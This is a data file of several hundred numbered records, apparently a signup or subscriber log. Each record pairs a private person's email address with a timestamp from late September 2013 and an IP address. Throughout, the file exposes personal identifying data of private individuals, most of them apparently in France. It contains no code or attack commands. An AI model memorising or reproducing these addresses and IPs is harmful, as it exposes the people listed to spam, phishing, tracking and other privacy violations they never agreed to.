+458;emilie.marmonier@orange.fr;2013-09-25 18:18:25;93.21.131.9 +459;le-ruyet.marie@wanadoo.fr;2013-09-25 18:18:51;90.59.86.17 +460;h.angst@orange.fr;2013-09-25 18:18:55;90.10.193.38 +461;odile.charlesia@orange.fr;2013-09-25 18:21:38;81.251.234.73 +462;christine.glotz@wanadoo.fr;2013-09-25 18:21:54;86.213.236.29 +463;sandrine.gaudreau@orange.fr;2013-09-25 18:22:07;86.209.161.131 +464;mariolilaurence@gmail.com;2013-09-25 18:23:16;79.91.75.232 +465;laurence.fournier7@wanadoo.fr;2013-09-25 18:23:31;92.155.159.195 +466;christine.schnelzauer@laposte.net;2013-09-25 18:24:01;78.213.254.3 +467;corinne_b@skynet.be;2013-09-25 18:25:11;81.244.192.206 +468;odile.durcy@gmail.com;2013-09-25 18:26:34;212.198.46.203 +469;bp.mo@laposte.net;2013-09-25 18:26:36;83.201.115.56 +470;catou0001@yahoo.fr;2013-09-25 18:27:02;90.63.95.104 +471;ldsofie@hotmail.fr;2013-09-25 18:27:07;92.158.181.155 +472;brig.routier@orange.fr;2013-09-25 18:30:05;90.17.243.184 +473;sandmattmimi@free.fr;2013-09-25 18:33:23;82.225.51.15 +474;noemie.puechavy@orange.fr;2013-09-25 18:33:32;86.207.161.248 +475;robert.aptel@wanadoo.fr;2013-09-25 18:33:34;92.130.147.67 +476;nourajamal@hotmail.com;2013-09-25 18:33:50;76.65.158.119 +477;miarouma@free.fr;2013-09-25 18:38:12;78.239.167.52 +478;lebrun.nath@free.fr;2013-09-25 18:43:11;88.126.238.2 +480;rachel.colomer@laposte.net;2013-09-25 18:46:18;89.156.224.241 +481;maryseds84@gmail.com;2013-09-25 18:46:22;78.113.32.136 +482;jean-marc.bianchi0618@orange.fr;2013-09-25 18:48:53;83.113.160.169 +483;vanessalefievre@hotmail.fr;2013-09-25 18:49:05;83.158.6.57 +484;catherine.emont@orange.fr;2013-09-25 18:49:07;90.57.239.247 +485;francette.zorzi@wanadoo.fr;2013-09-25 18:49:40;83.205.141.218 +486;lawab2@hotmail.com;2013-09-25 18:50:19;85.171.60.131 +487;nathalie.bessiere@neuf.fr;2013-09-25 18:51:28;84.98.52.36 +488;nathaliedardonville@yahoo.fr;2013-09-25 18:53:33;89.157.254.250 +489;christianecelo@orange.fr;2013-09-25 18:56:56;90.55.72.232 +490;brionlaurence@gmail.com;2013-09-25 18:58:50;77.196.127.87 +491;kampai@free.fr;2013-09-25 19:00:37;90.60.184.89 +492;y.seymon@orange.fr;2013-09-25 19:02:01;83.205.173.154 +493;corinneprovost@laposte.net;2013-09-25 19:03:02;130.0.102.60 +494;brigitcasas@wanadoo.fr;2013-09-25 19:04:46;86.216.144.3 +495;domi.jacolot@orange.fr;2013-09-25 19:07:41;86.214.180.81 +496;annie.marin@aliceadsl.fr;2013-09-25 19:09:27;83.156.200.113 +497;fabienne.laurent.b@gmail.com;2013-09-25 19:14:00;93.28.185.17 +498;lucie.haag@gmail.com;2013-09-25 19:14:41;78.226.134.26 +499;wahl.emile@neuf.fr;2013-09-25 19:15:32;109.8.78.5 +500;nicole.topart@gmail.com;2013-09-25 19:15:35;88.160.114.7 +501;bfaches@gmail.com;2013-09-25 19:16:54;81.66.151.248 +502;mf-marti@hotmail.fr;2013-09-25 19:16:57;78.221.8.161 +503;marie.laly@orange.fr;2013-09-25 19:22:57;86.204.170.86 +504;nath.tellier@neuf.fr;2013-09-25 19:26:31;86.68.48.186 +505;kalb27@yahoo.com;2013-09-25 19:27:27;83.202.132.121 +506;michelmonney@orange.fr;2013-09-25 19:28:30;83.196.137.168 +507;annick.perreaut4@orange.fr;2013-09-25 19:28:50;83.113.150.106 +508;hague.diane@orange.fr;2013-09-25 19:28:57;86.194.186.152 +509;kty.andriot@free.fr;2013-09-25 19:30:02;88.183.116.79 +510;pharmacie.rubinstein@gmail.com;2013-09-25 19:32:01;83.204.242.61 +511;lambert.claire13@neuf.fr;2013-09-25 19:32:09;109.13.57.155 +512;virgpask@yahoo.fr;2013-09-25 19:32:12;82.231.117.80 +513;edith.gandiol@gmail.com;2013-09-25 19:32:13;90.52.235.104 +514;cecile.gandiol@gmail.com;2013-09-25 19:32:27;90.52.235.104 +515;beatrice.denizard@sfr.fr;2013-09-25 19:33:26;78.118.195.196 +516;mouma@photokoo.com;2013-09-25 19:34:29;82.234.67.195 +517;beduchaud.isabelle@neuf.fr;2013-09-25 19:34:37;88.219.165.2 +518;dominique.cornette490@dbmail.com;2013-09-25 19:35:33;92.102.136.145 +519;broquet.katia@gmail.com;2013-09-25 19:36:52;80.10.159.84 +520;josiane.grippier@gmail.com;2013-09-25 19:37:58;86.72.99.129 +521;ak.maas@live.fr;2013-09-25 19:38:41;5.48.99.54 +522;catherine.pestre@free.fr;2013-09-25 19:38:46;82.230.50.40 +523;sabsuinot@orange.fr;2013-09-25 19:38:52;90.33.145.71 +525;evelyne.courtois-deiber@orange.fr;2013-09-25 19:41:18;109.221.166.91 +526;isabelle.audidier@wanadoo.fr;2013-09-25 19:44:27;109.215.31.209 +527;yeshufilmdistribution@gmail.com;2013-09-25 19:44:37;82.124.20.96 +528;amandinepower@hotmail.com;2013-09-25 19:44:38;81.66.186.66 +529;catwoman@montataire.net;2013-09-25 19:47:16;31.24.247.238 +530;madu13@free.fr;2013-09-25 19:50:35;84.6.139.94 +531;grenon.sophie@gmail.com;2013-09-25 19:50:45;87.89.26.78 +532;canf.dubois@wanadoo.fr;2013-09-25 19:54:38;90.7.166.26 +533;cecile.sliwa@free.fr;2013-09-25 19:55:19;78.214.12.13 +534;fauconagnes@orange.fr;2013-09-25 19:56:56;81.251.236.74 +535;nellybouviala@hotmail.fr;2013-09-25 19:57:20;31.32.100.225 +536;cathdoriath@yahoo.fr;2013-09-25 19:57:57;79.88.224.106 +537;alinecrespo@hotmail.fr;2013-09-25 19:58:36;78.116.188.63 +538;gpourhiet@hotmail.fr;2013-09-25 19:59:10;82.244.64.7 +539;chris.huruguen@laposte.net;2013-09-25 19:59:22;79.86.67.149 +540;sahorabel@gmail.com;2013-09-25 20:01:22;78.123.108.112 +541;laurence.hennebique@laposte.net;2013-09-25 20:05:43;86.201.248.253 +542;hmarille@orange.fr;2013-09-25 20:06:38;90.39.113.146 +543;Magali.mession@club-internet.fr;2013-09-25 20:09:05;90.1.15.102 +544;sandrine.airiaud@laposte.net;2013-09-25 20:09:53;89.95.215.238 +545;pascale.grad@hotmail.fr;2013-09-25 20:10:23;82.244.193.61 +546;suzanne.berge@orange.fr;2013-09-25 20:16:07;90.14.218.86 +547;j.bennett@wanadoo.fr;2013-09-25 20:16:23;92.160.155.185 +548;celinedetoma@neuf.fr;2013-09-25 20:16:33;93.4.87.185 +549;muchette60@sfr.fr;2013-09-25 20:16:46;88.184.50.75 +550;daniele.schneider@aliceadsl.fr;2013-09-25 20:18:42;78.244.230.27 +551;garlot.ml@gmail.com;2013-09-25 20:21:10;92.149.249.69 +552;j.peyre519@laposte.net;2013-09-25 20:21:55;92.150.52.42 +553;markowiczanne@club-internet.fr;2013-09-25 20:22:42;86.70.84.168 +554;skobis.alexandra@neuf.fr;2013-09-25 20:24:15;78.126.152.104 +555;ludovic.faure24@gmail.com;2013-09-25 20:27:04;90.84.144.157 +556;cel.t@neuf.fr;2013-09-25 20:27:23;2.3.44.116 +557;christine.cochard26@sfr.fr;2013-09-25 20:30:11;93.182.208.195 +558;anne.trapet21@orange.fr;2013-09-25 20:30:11;92.148.89.117 +559;michael.thiebaut@orange.fr;2013-09-25 20:30:35;92.148.89.117 +560;christigarcia@hotmail.fr;2013-09-25 20:31:59;88.141.186.206 +561;isabellemazerolles@gmail.com;2013-09-25 20:35:27;82.249.251.229 +562;cristolceline@orange.fr;2013-09-25 20:38:52;92.149.58.63 +563;joss.56@neuf.fr;2013-09-25 20:38:53;86.74.16.166 +564;helene-bourgeois@wanadoo.fr;2013-09-25 20:38:59;92.138.166.87 +565;rouxpetel.camille@orange.fr;2013-09-25 20:39:48;92.155.109.197 +566;b.ventura@laposte.net;2013-09-25 20:42:49;78.192.47.127 +567;valerie.miroff@hotmail.fr;2013-09-25 20:43:06;5.49.60.33 +568;b.gardner@sfr.fr;2013-09-25 20:43:38;95.171.139.240 +569;pauline.du@voila.fr;2013-09-25 20:45:38;79.81.166.214 +570;vivireynaud@yahoo.fr;2013-09-25 20:46:40;109.18.73.102 +571;marie.lason@club-internet.fr;2013-09-25 20:50:09;84.101.163.175 +572;musette57@msn.com;2013-09-25 20:54:45;90.40.92.126 +573;cl.tourbier@wanadoo.fr;2013-09-25 21:01:32;81.250.55.21 +574;karin.giacomini@hotmail.fr;2013-09-25 21:03:49;90.6.23.133 +575;d.guillebault@laposte.net;2013-09-25 21:04:04;109.210.80.186 +576;ggmimi@sfr.fr;2013-09-25 21:07:36;79.80.167.97 +577;sandra-nicoli@orange.fr;2013-09-25 21:08:52;83.205.218.120 +578;pascaleulpat13@gmail.com;2013-09-25 21:09:42;5.50.53.153 +579;m.c.fourcade@free.fr;2013-09-25 21:11:18;88.127.8.3 +580;isabelle.gislon@gmail.com;2013-09-25 21:12:55;84.98.6.230 +581;nicole.heloise@wanadoo.fr;2013-09-25 21:13:18;92.157.12.150 +582;clotilde.cordier@wanadoo.fr;2013-09-25 21:15:37;92.138.168.85 +583;marieheleneesperaza@hotmail.fr;2013-09-25 21:16:01;84.5.159.51 +584;koshinage@hotmail.fr;2013-09-25 21:16:14;83.202.253.166 +585;mariepierre.anotta@neuf.fr;2013-09-25 21:19:18;86.67.233.75 +586;johan.deboudt@wanadoo.fr;2013-09-25 21:22:21;86.208.251.140 +587;c.menv@orange.fr;2013-09-25 21:25:17;90.60.237.241 +588;cheyenne6@wanadoo.fr;2013-09-25 21:25:21;90.6.190.187 +589;jean-marc.del@wanadoo.fr;2013-09-25 21:25:43;83.112.91.234 +590;jean-marc.del@wanadoo.frJ;2013-09-25 21:26:27;83.112.91.234 +591;carinebeaufigeau@orange.fr;2013-09-25 21:26:39;95.170.44.235 +592;magalie.blanquart@laposte.net;2013-09-25 21:32:11;90.7.127.68 +593;stephanie.bonnin@appui-tec.com;2013-09-25 21:33:23;78.228.161.218 +594;diana94400@hotmal.com;2013-09-25 21:34:38;88.160.180.80 +595;charlotte.salmon49@sfr.fr;2013-09-25 21:41:55;213.223.56.17 +596;carole.baillet.gomez@gmail.com;2013-09-25 21:42:28;109.190.9.127 +597;bluesaphyr@hotmail.fr;2013-09-25 21:47:33;90.6.69.182 +598;sylvianeseree@yahoo.fr;2013-09-25 21:47:49;92.153.238.205 +599;frederic.baralle@club-internet.fr;2013-09-25 21:47:59;78.127.221.125 +600;lucieseree@yahoo.fr;2013-09-25 21:48:13;92.153.238.205 +601;ajerire@yahoo.fr;2013-09-25 21:48:31;92.153.238.205 +602;claire.mainguene@wanadoo.fr;2013-09-25 21:48:44;83.201.180.49 +603;anne.ouvre-polloni@orange.fr;2013-09-25 21:49:30;90.24.147.220 +604;laurence95.m@orange.fr;2013-09-25 21:50:51;82.120.224.160 +605;nadinedudu@aol.com;2013-09-25 21:54:22;213.245.145.136 +606;r.jeannine1@yahoo.fr;2013-09-25 21:56:50;83.154.189.29 +607;pascale63610@hotmail.fr;2013-09-25 21:57:42;93.7.54.167 +608;nievesmiralles@yahoo.fr;2013-09-25 21:57:48;31.36.145.238 +609;Christine.leguille@sfr.fr;2013-09-25 22:08:24;86.72.147.146 +610;ggdaudon@orange.fr;2013-09-25 22:10:10;90.15.141.106 +611;ferrandclotilde@orange.fr;2013-09-25 22:12:51;2.11.179.86 +612;Lentaigne@voila.fr;2013-09-25 22:13:34;37.161.242.252 +613;angelique.choquet@orange.fr;2013-09-25 22:15:48;90.1.116.75 +614;s.baumstummler@laposte.net;2013-09-25 22:17:02;90.26.66.115 +615;martine.armand0890@orange.fr;2013-09-25 22:17:14;2.4.14.6 +617;karyne.rochard@sfr.fr;2013-09-25 22:20:39;86.72.46.57 +618;isabelle.lemaire@cegetel.net;2013-09-25 22:22:14;86.72.21.175 +619;glacerie@free.fr;2013-09-25 22:23:04;82.252.172.106 +620;osirissa1@hotmail.fr;2013-09-25 22:36:52;90.14.233.54 +621;zazadec@yahoo.fr;2013-09-25 22:55:08;82.240.65.7 +622;pascaline.sellier@gmail.com;2013-09-25 22:55:12;90.23.60.108 +623;Lucas.nat@hotmail.fr;2013-09-25 22:56:41;82.127.212.209 +624;ludivine-lelievre@sfr.fr;2013-09-25 22:59:53;79.81.136.82 +625;delphine.thierry@noos.fr;2013-09-25 23:03:38;81.65.57.20 +626;adnet51@aol.com;2013-09-25 23:10:37;92.90.16.134 +627;ngprevel@free.fr;2013-09-25 23:12:38;78.246.178.118 +628;nadinebocardlac@orange.fr;2013-09-25 23:15:14;90.48.137.5 +629;veveroniquegery@hotmail.fr;2013-09-25 23:15:27;89.156.98.137 +630;doudoutenamour@hotmail.com;2013-09-25 23:16:28;78.216.136.17 +631;sandrine_dujardin@hotmail.fr;2013-09-25 23:27:41;90.47.250.92 +632;porte.sylvie@free.fr;2013-09-25 23:43:59;93.10.17.68 +633;castrol2@hotmail.fr;2013-09-25 23:48:18;84.6.152.216 +634;elivitto@wanadoo.fr;2013-09-25 23:52:15;92.130.136.41 +635;ducasse.sylvie@neuf.fr;2013-09-25 23:58:01;77.195.49.197 +636;melosilla@orange.fr;2013-09-26 00:26:38;86.208.252.135 +637;christine.lecca@yahoo.fr;2013-09-26 00:40:20;90.29.63.48 +638;Paulinedemuysere@yahoo.fr;2013-09-26 00:47:57;89.93.60.111 +639;okapomka@live.fr;2013-09-26 03:46:57;92.144.245.82 +640;nathalie.defontaine@wanadoo.fr;2013-09-26 05:04:03;92.131.144.184 +641;jeromelepers@aol.com;2013-09-26 05:26:59;86.192.124.245 +642;hpatricia@laposte.net;2013-09-26 05:57:17;193.253.107.226 +643;blondisa@sfr.fr;2013-09-26 06:16:58;89.170.2.240 +644;sandrine_vig@hotmail.fr;2013-09-26 06:29:26;89.91.181.146 +645;emilievail@wanadoo.fr;2013-09-26 06:31:07;93.7.123.46 +646;ajjrenauld@free.fr;2013-09-26 06:37:49;82.250.204.171 +647;jocant@wanadoo.fr;2013-09-26 06:37:54;90.62.50.207 +648;audess@hotmail.fr;2013-09-26 06:52:27;86.202.35.115 +649;lilianedessans@hotmail.fr;2013-09-26 07:28:00;109.8.66.165 +650;patricia.prat0123@orange.fr;2013-09-26 07:33:02;90.0.104.132 +651;sophiegeslin@sfr.fr;2013-09-26 07:42:37;92.90.17.209 +652;patricia.soichey@gmail.com;2013-09-26 07:45:21;78.127.176.150 +653;dih.melissa@bbox.fr;2013-09-26 07:49:48;195.36.210.84 +654;vero.fo@netcourrier.com;2013-09-26 07:56:48;92.103.34.76 +655;alfa.simon@neuf.fr;2013-09-26 07:58:03;84.100.47.114 +656;philippe.veron11@wanadoo.fr;2013-09-26 07:58:19;90.51.20.179 +657;sophie.vallar@wanadoo.fr;2013-09-26 08:02:52;92.130.66.159 +659;chouinette1010@hotmail.fr;2013-09-26 08:06:04;89.224.31.138 +660;catherine.ber@hotmail.fr;2013-09-26 08:10:52;86.210.89.89 +661;anne.jacquet.pdm@orange.fr;2013-09-26 08:12:44;91.199.234.49 +662;d.dumont58@hotmail.fr;2013-09-26 08:20:53;85.14.136.43 +663;lisiane.clauss@wanadoo.fr;2013-09-26 08:21:04;90.6.69.127 +664;louis.barthez@orange.fr;2013-09-26 08:21:23;86.202.194.3 +665;s.jenot@orange.fr;2013-09-26 08:26:08;90.34.117.19 +666;mesfoc@yahoo.fr;2013-09-26 08:26:46;86.69.158.150 +667;florence.lazarko@wanadoo.fr;2013-09-26 08:27:07;83.112.55.115 +668;vanesss73@hotmail.fr;2013-09-26 08:36:12;90.42.192.183 +669;veromajot@gmail.com;2013-09-26 08:36:47;175.158.148.200 +670;pub.bournon@gmail.com;2013-09-26 08:37:29;78.204.149.251 +671;ssk85@orange.fr;2013-09-26 08:38:31;90.54.132.218 +672;jenny-18@hotmail.fr;2013-09-26 08:42:59;176.181.163.89 +673;delphinemaille@free.fr;2013-09-26 08:45:18;213.30.136.218 +674;dagunda@hotmail.fr;2013-09-26 08:51:13;78.234.229.250 +675;albertini.bernadette@wanadoo.fr;2013-09-26 08:54:56;83.197.87.39 +676;philippe.flandrin@sfr.fr;2013-09-26 09:09:17;88.136.104.135 +677;anniedassonville@eurequip.com;2013-09-26 09:11:56;217.108.23.21 +678;nia1965@live.fr;2013-09-26 09:14:12;90.39.189.211 +679;emilie.suray@wanadoo.fr;2013-09-26 09:14:48;90.3.55.55 +680;jm.paygnard@hotmail.fr;2013-09-26 09:22:31;79.87.132.30 +681;barbara.selva@bbox.fr;2013-09-26 09:24:48;195.6.78.189 +682;veronique.weisse@laposte.net;2013-09-26 09:29:32;88.169.15.183 +683;emilie.rantian@wanadoo.fr;2013-09-26 09:29:43;2.6.71.140 +684;catherine.baudoin@nicecotedazur.org;2013-09-26 09:30:27;213.244.28.222 +685;jocelyne.lombardo@wanadoo.fr;2013-09-26 09:33:08;92.157.52.193 +686;nadia.meddahiisis@laposte.net;2013-09-26 09:34:21;80.14.233.17 +687;nicole.luc@orange.fr;2013-09-26 09:39:24;90.57.177.171 +688;francois.bethel@gmail.com;2013-09-26 09:40:00;78.123.176.133 +689;danielle.morrot@wanadoo.fr;2013-09-26 09:41:11;90.36.12.164 +690;sophie.ricci@hotmail.fr;2013-09-26 09:43:33;92.150.36.154 +691;migdidier@free.fr;2013-09-26 09:48:08;78.215.21.157 +692;dhersghislaine@yahoo.fr;2013-09-26 09:49:52;88.187.46.71 +693;pat.b.06@orange.fr;2013-09-26 09:58:28;86.193.97.92 +694;marie-jo.pelerin@orange.fr;2013-09-26 10:00:37;90.58.10.100 +695;laetitia.neyroud@hotmail.fr;2013-09-26 10:02:37;89.93.9.74 +696;ghislaine.sarrasin@hotmail.fr;2013-09-26 10:05:59;78.241.38.23 +697;catherine.bevillard@orange.fr;2013-09-26 10:09:40;77.84.142.23 +698;boissieresylvie@yahoo.fr;2013-09-26 10:23:09;82.251.11.243 +699;corinne.bresson@wanadoo.fr;2013-09-26 10:30:55;90.0.78.243 +700;deleyefrancine@aol.com;2013-09-26 10:34:54;2.5.127.245 +701;helene.stricane@laposte.net;2013-09-26 10:38:15;90.5.67.135 +702;lydia.talamon@univ-lr.fr;2013-09-26 10:39:58;193.49.30.34 +703;blanchardsyl@wanadoo.fr;2013-09-26 10:53:05;83.195.101.219 +704;simone.favre@dbmail.com;2013-09-26 10:53:26;83.195.101.219 +705;sylflo.chenu@orange.fr;2013-09-26 10:53:36;83.195.101.219 +706;sarraud.francois@neuf.fr;2013-09-26 10:53:50;83.195.101.219 +707;pascale.schwib@gmail.com;2013-09-26 10:54:02;109.0.183.37 +708;p.zidaric@orange.fr;2013-09-26 10:54:07;83.195.101.219 +709;nmontanelli@sud-habitat.fr;2013-09-26 10:56:12;80.14.169.235 +710;aranjo.regis@neuf.fr;2013-09-26 10:56:36;88.136.242.58 +711;la.culardiere@free.fr;2013-09-26 10:59:09;88.187.154.15 +712;c.eleanor@free.fr;2013-09-26 11:03:22;88.173.171.83 +714;evelise-plenet@live.fr;2013-09-26 11:06:20;84.14.50.70 +715;syl.brevet@gmail.com;2013-09-26 11:16:06;212.195.111.44 +716;michelle.kletzel@laposte.net;2013-09-26 11:25:30;88.175.115.45 +717;thoisy@gmail.com;2013-09-26 11:39:02;81.200.189.6 +718;nellygineste@yahoo.fr;2013-09-26 11:46:47;88.125.125.99 +719;nicolini.philippe@orange.fr;2013-09-26 11:46:50;62.39.105.55 +720;patricia.lazzarotto@wanadoo.fr;2013-09-26 11:47:28;90.56.140.26 +721;lina24@cegetel.net;2013-09-26 11:59:51;79.80.2.241 +722;Menvielleyannick@hotmail.fr;2013-09-26 12:04:04;92.134.212.62 +723;mp13@hotmail.fr;2013-09-26 12:04:22;212.23.175.181 +724;valcrozatier@laposte.net;2013-09-26 12:14:22;2.13.61.78 +725;m.rabille@orange.fr;2013-09-26 12:17:36;90.25.247.168 +726;r.peypoudat@orange.fr;2013-09-26 12:18:23;86.199.29.71 +727;flob75@free.fr;2013-09-26 12:20:25;82.248.213.150 +728;clo.caraibes@hotmail.fr;2013-09-26 12:22:32;193.251.185.93 +729;alinemencarelli@hotmail.fr;2013-09-26 12:39:21;78.112.149.182 +730;fannyrogissart@orange.fr;2013-09-26 12:45:16;82.122.219.108 +731;joelle.isnardon@gmail.com;2013-09-26 12:51:25;78.248.208.37 +732;domiebianki@gmail.com;2013-09-26 12:59:27;109.14.32.157 +733;fanfam@free.fr;2013-09-26 13:03:34;82.237.166.12 +734;brigitte.guezet@sfr.fr;2013-09-26 13:03:42;91.88.70.6 +735;sylvieaubepart@yahoo.fr;2013-09-26 13:05:17;193.252.42.35 +736;szaboflo@yahoo.fr;2013-09-26 13:21:20;195.83.99.4 +737;stefanie.chollet@orange.fr;2013-09-26 13:29:02;195.101.137.177 +738;elephant97412@hotmail.fr;2013-09-26 14:01:09;92.145.212.245 +739;fetita.azorica@neuf.fr;2013-09-26 14:02:38;78.112.54.194 +741;itioiton@yahoo.fr;2013-09-26 14:25:47;88.188.9.196 +742;domialonso@sfr.fr;2013-09-26 14:27:36;109.214.245.149 +743;laurence.levas@free.fr;2013-09-26 14:31:17;82.245.94.185 +744;dom@bergeron.nom.fr;2013-09-26 14:48:30;86.195.22.28 +745;valery.villeneuve@orange.fr;2013-09-26 14:49:36;82.125.58.216 +746;lysiane.roger169@orange.fr;2013-09-26 14:50:01;194.177.46.82 +747;aeraydin@orange.fr;2013-09-26 14:50:18;213.44.19.212 +748;bybam@hotmail.fr;2013-09-26 14:51:38;86.220.226.104 +749;francoise.girou@gmail.com;2013-09-26 15:14:43;82.239.90.147 +750;horsulic@yahoo.fr;2013-09-26 15:15:08;195.130.207.135 +751;sauvet57@club-internet.fr;2013-09-26 15:15:10;93.14.159.189 +752;ignace8398@gmail.com;2013-09-26 15:26:13;78.231.228.93 +753;bao.04@orange.fr;2013-09-26 15:29:26;86.210.107.194 +754;isabpena@yahoo.fr;2013-09-26 15:31:25;80.13.123.8 +755;sophiebalance@neuf.fr;2013-09-26 15:37:05;93.31.143.113 +756;christine.ludes@laposte.net;2013-09-26 15:38:47;80.14.190.169 +757;noragiberne@orange.fr;2013-09-26 15:48:59;90.14.128.175 +758;christiane.lapeyre95@orange.fr;2013-09-26 15:56:03;83.199.192.153 +759;princesse_tori@yahoo.fr;2013-09-26 15:56:35;193.57.177.209 +760;valerie.corre@neuf.fr;2013-09-26 16:04:04;80.13.118.32 +761;chanchancart@hotmail.fr;2013-09-26 16:11:50;80.11.255.139 +762;nathalie.dossantos13@orange.fr;2013-09-26 16:35:44;88.177.126.236 +763;pouille84430@gmail.com;2013-09-26 16:39:30;92.90.16.212 +764;clarcher@sdis02.fr;2013-09-26 16:47:30;81.23.41.204 +765;bpaolucci@sdis02.fr;2013-09-26 16:47:46;81.23.41.204 +766;manuevrard@live.fr;2013-09-26 17:09:51;88.126.12.183 +767;anne.maeght@wanadoo.fr;2013-09-26 17:17:24;81.250.235.230 +768;jeudy.severine@orange.fr;2013-09-26 17:31:16;90.56.212.69 +769;boissat.frederic@neuf.fr;2013-09-26 17:37:04;93.24.15.16 +770;fcj31@hotmail.fr;2013-09-26 17:37:39;88.188.122.201 +772;fernandezmichele4818@neuf.fr;2013-09-26 17:46:48;79.82.189.161 +773;Melanie44800@hotmail.fr;2013-09-26 17:48:59;31.32.158.12 +774;ke-douarnevez@hotmail.fr;2013-09-26 18:14:27;93.27.188.177 +776;jacquelinemouria@orange.fr;2013-09-26 18:20:26;90.11.122.14 +777;s.donnat@free.fr;2013-09-26 18:26:49;82.241.144.86 +778;thalia.art.lestat@gmail.com;2013-09-26 18:29:05;83.197.197.216 +779;atena-s@live.fr;2013-09-26 18:39:09;92.90.21.64 +780;perriernicole@sfr.fr;2013-09-26 18:53:44;84.102.81.203 +781;sophie.touens@free.fr;2013-09-26 19:00:03;89.89.221.74 +782;claudine.vene@wanadoo.fr;2013-09-26 19:02:52;82.125.168.212 +785;veronique.mermillod@voila.fr;2013-09-26 19:24:58;78.116.7.38 +786;elodieosta@hotmail.fr;2013-09-26 19:25:27;109.14.93.140 +787;fmiger@orange.fr;2013-09-26 19:33:17;81.251.225.66 +788;brigittebastide@sfr.fr;2013-09-26 19:36:40;79.86.81.141 +789;gillard14@orange.fr;2013-09-26 19:46:22;90.17.123.59 +790;sallesdominique@sfr.fr;2013-09-26 20:15:21;77.205.19.135 +791;wayat.64@gmail.com;2013-09-26 20:16:19;89.3.4.53 +792;isabelle_bonne@yahoo.Fr;2013-09-26 20:31:03;93.2.30.76 +793;severinedufresne@free.fr;2013-09-26 20:32:33;82.242.165.250 +794;sabrinagattuso@orange.fr;2013-09-26 20:38:00;86.215.147.82 +795;gregory.courtin59199@orange.fr;2013-09-26 20:48:41;2.5.136.38 +796;thierry.lucquin@free.fr;2013-09-26 21:01:40;82.241.177.209 +797;odile62.richard@wanadoo.fr;2013-09-26 21:03:11;2.5.108.159 +798;cecile.conche@yahoo.fr;2013-09-26 21:10:05;86.210.119.117 +799;amoliviercurti@free.fr;2013-09-26 21:16:22;82.246.154.14 +800;mjacobson@voila.fr;2013-09-26 21:18:26;88.176.175.189 +801;richardceline021@hotmail.com;2013-09-26 21:19:12;90.57.200.185 +802;patricia.bourhis0007@orange.fr;2013-09-26 21:19:58;90.32.243.48 +803;isarzad@voila.fr;2013-09-26 21:22:28;78.116.116.14 +804;stauf2011@hotmail.fr;2013-09-26 21:28:52;88.179.5.46 +805;daphnee.manuel@orange.fr;2013-09-26 21:40:43;212.195.141.61 +807;litchi_framboise@hotmail.fr;2013-09-26 21:50:12;86.204.17.139 +808;patte.patricia@hotmail.fr;2013-09-26 22:09:44;78.250.114.135 +809;robinetseverine@hotmail.com;2013-09-26 22:27:24;86.192.96.56 +810;campionfr@hotmail.fr;2013-09-26 22:32:32;86.203.96.95 +811;sab-rina1974@outlook.fr;2013-09-26 22:54:58;82.234.21.203 +812;sophieludwig1@hotmail.fr;2013-09-26 23:36:10;82.239.150.228 +813;oliviaattarmorey@gmail.com;2013-09-27 02:44:07;92.161.137.29 +814;sofdutheil@gmail.com;2013-09-27 08:31:43;86.211.20.181 +815;gilles.narducci@orange.fr;2013-09-27 08:32:49;83.196.204.34 +816;murielle.dubois@voila.fr;2013-09-27 09:09:26;62.102.224.154 +817;mariehelene.lemoual@sfr.fr;2013-09-27 09:25:02;88.139.237.217 +818;sylvie.grison@free.fr;2013-09-27 09:27:09;195.6.68.51 +819;natgperso@yahoo.fr;2013-09-27 09:47:57;90.62.224.60 +820;myriam.thomas14@hotmail.fr;2013-09-27 09:50:00;90.21.191.62 +821;navarrodeco@orange.fr;2013-09-27 10:33:58;90.50.19.245 +822;debbyh@hotmail.fr;2013-09-27 10:49:25;92.130.246.16 +823;syao8482@hotmail.fr;2013-09-27 11:38:34;78.192.188.119 +824;pumpitup@hotmail.fr;2013-09-27 12:09:22;82.127.113.149 +825;cat.alice@laposte.net;2013-09-27 12:13:31;78.200.184.74 +826;marienadine@voila.fr;2013-09-27 12:32:08;109.7.17.249 +827;mls33400@hotmail.fr;2013-09-27 13:11:21;80.236.92.141 +828;lucia.petry@yahoo.fr;2013-09-27 13:16:42;195.132.80.113 +829;isa.jluc.vivier@orange.fr;2013-09-27 13:44:56;83.206.47.250 +830;matthey-doret-bernadette@orange.fr;2013-09-27 14:15:31;90.28.238.8 +831;v.isenmann.st@wanadoo.fr;2013-09-27 14:28:26;37.58.158.3 +832;ch.boulzanne@orange.fr;2013-09-27 15:47:09;81.251.47.191 +833;nathalie.labouriaux@wanadoo.fr;2013-09-27 15:55:27;90.0.6.76 +835;patricia.penalver@wanadoo.fr;2013-09-27 16:30:22;92.157.167.91 +836;rousseletmarie-odile@orange.fr;2013-09-27 16:59:58;90.39.100.141 +837;isamandier@gmail.com;2013-09-27 17:34:28;88.162.209.28 +838;elineau.fanfan@orange.fr;2013-09-27 18:05:55;90.12.219.30 +839;catlinou@hotmail.com;2013-09-27 18:10:33;86.71.93.199 +840;monny.g@orange.fr;2013-09-27 18:15:21;90.45.210.117 +841;sophiie.65@hotmail.fr;2013-09-27 18:21:15;86.221.6.144 +842;sylvieblaevoet@gmail.com;2013-09-27 18:59:11;86.215.135.78 +843;sevilla.pascale@voila.fr;2013-09-27 19:04:11;78.201.32.131 +844;ingridvuillet@gmail.com;2013-09-27 19:18:48;88.177.208.131 +845;pascalemary@free.fr;2013-09-27 19:22:40;88.169.0.5 +846;agnesgribouille@hotmail.fr;2013-09-27 19:55:27;87.100.95.189 +847;veronique.barioulet@hotmail.fr;2013-09-27 20:15:35;90.60.53.194 +848;ouridabelkhir@hotmail.fr;2013-09-27 20:54:02;109.217.38.29 +849;marieange.bouin@orange.fr;2013-09-27 21:06:48;92.137.69.10 +850;lkaruna@orange.fr;2013-09-27 21:09:04;2.4.1.229 +851;chantalgosselin0608@orange.fr;2013-09-27 21:10:43;83.199.177.127 +852;edith28@hotmail.fr;2013-09-27 21:23:15;109.16.241.249 +853;esbrice@hotmail.fr;2013-09-27 21:35:00;86.208.63.107 +854;chgdecruz@hotmail.fr;2013-09-27 21:54:02;90.3.167.88 +855;g.hardy@orange.fr;2013-09-27 22:25:52;86.201.33.169 +856;vanbreu@wanadoo.fr;2013-09-27 22:30:33;83.112.201.90 +857;claire.chaudet@gmail.com;2013-09-27 22:37:35;82.66.249.72 +858;m06serrano@orange.fr;2013-09-27 22:54:40;109.212.1.90 +859;fanfantahiti@mail.pf;2013-09-27 23:06:18;123.50.125.207 +860;gironagwen@yahoo.fr;2013-09-28 02:59:59;82.126.130.184 